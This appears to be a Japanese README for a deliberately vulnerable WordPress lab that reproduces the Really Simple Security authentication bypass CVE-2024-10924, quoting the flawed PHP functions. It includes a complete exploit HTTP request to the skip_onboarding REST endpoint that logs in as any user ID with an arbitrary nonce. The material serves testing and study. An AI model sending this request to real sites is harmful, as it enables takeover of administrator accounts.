
WARNING: これは、Really Simple Security < 9.1.2 の認証バイパス (CVE-2024-10924) のエクスプロイトをテストするための脆弱なアプリケーションです。自己責任で実行してください!
これは、Really Simple Security < 9.1.2 の認証バイパス (CVE-2024-10924) のエクスプロイトをテストするための脆弱性アプリケーションです。
このアプリケーションには深刻なセキュリティ脆弱性が含まれています。自己責任で実行してください!バックアップ済みで隔離された環境(最近のスナップショットを取得したVMやホストオンリーネットワークなど)での使用を推奨します。このアプリケーションをインターネットに公開されたサーバーにアップロードしないでください。侵害されます。
免責事項: このアプリケーションの使用方法について、私は一切の責任を負いません。このアプリケーションの唯一の目的は、Really Simple Security < 9.1.2 の認証バイパス (CVE-2024-10924) エクスプロイトのテストシナリオとなることであり、悪意を持って使用されるべきではありません。このアプリケーションのインストールによってサーバーが侵害された場合、その責任は私にはなく、アップロードおよびインストールを行った人物にあります。
環境をセットアップする手順は次のとおりです:
./up.sh を実行してコンポジションを開始します。コンテナ名は vuln-wp-really-simple-security になります。
環境を破棄するには、./down.sh コマンドを使用します。また、./down_and_delete.sh コマンドを使用すると、イメージとデータベースのボリュームも削除されます。
修正 を見ると、脆弱性のあるバージョンでは、無効なログインノンスの場合に check_login_and_get_user() 関数がエラーオブジェクトを返すだけで、操作全体を中断していないことがわかります。
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
一方、呼び出し元では、check_login_and_get_user() 関数 (277行目) の出力に対してチェックは行われず、ユーザー ID に対して入力から受け取った同じ値をそのまま使用して、authenticate_and_redirect() 関数 (278行目) へ進んでいます。
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
この脆弱性を悪用するには、次のようなリクエストで十分です。
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
その後、返されたセッションクッキーをブラウザに設定します。
user_id は対象ユーザーの ID である必要があります。login_nonce は、間違った値でもプロセスを妨げないため、任意の値で構いません。
Python のエクスプロイトスクリプトは こちら にあります。
このプロジェクトは Unlicense の下でライセンスされています。詳細は LICENSE ファイルを参照してください。